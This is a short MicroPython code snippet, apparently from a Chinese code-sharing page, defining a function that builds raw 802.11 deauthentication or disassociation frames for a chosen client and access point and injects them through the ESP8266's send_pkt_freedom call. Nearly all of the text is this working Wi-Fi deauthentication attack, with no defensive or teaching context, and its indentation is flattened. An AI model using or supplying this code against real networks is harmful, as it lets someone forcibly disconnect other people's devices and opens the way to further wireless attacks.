def deauth(_ap,_client,type,reason):
# 0 - 1 type, subtype c0: deauth (a0: disassociate)
# 2 - 3 duration (SDK takes care of that)
# 4 - 9 reciever (target)
# 10 - 15 source (ap)
# 16 - 21 BSSID (ap)
# 22 - 23 fragment & squence number
# 24 - 25 reason code (1 = unspecified reason)
packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00, 0x00,0x01, 0x00])
for i in range(0,6):
packet[4 + i] =_client[i]
packet[10 + i] = packet[16 + i] =_ap[i]
#set type
packet[0] = type;
packet[24] = reason
result=sta_if.send_pkt_freedom(packet)
if result==0:
time.sleep_ms(1)
return True
else:
return False
评论列表
文章目录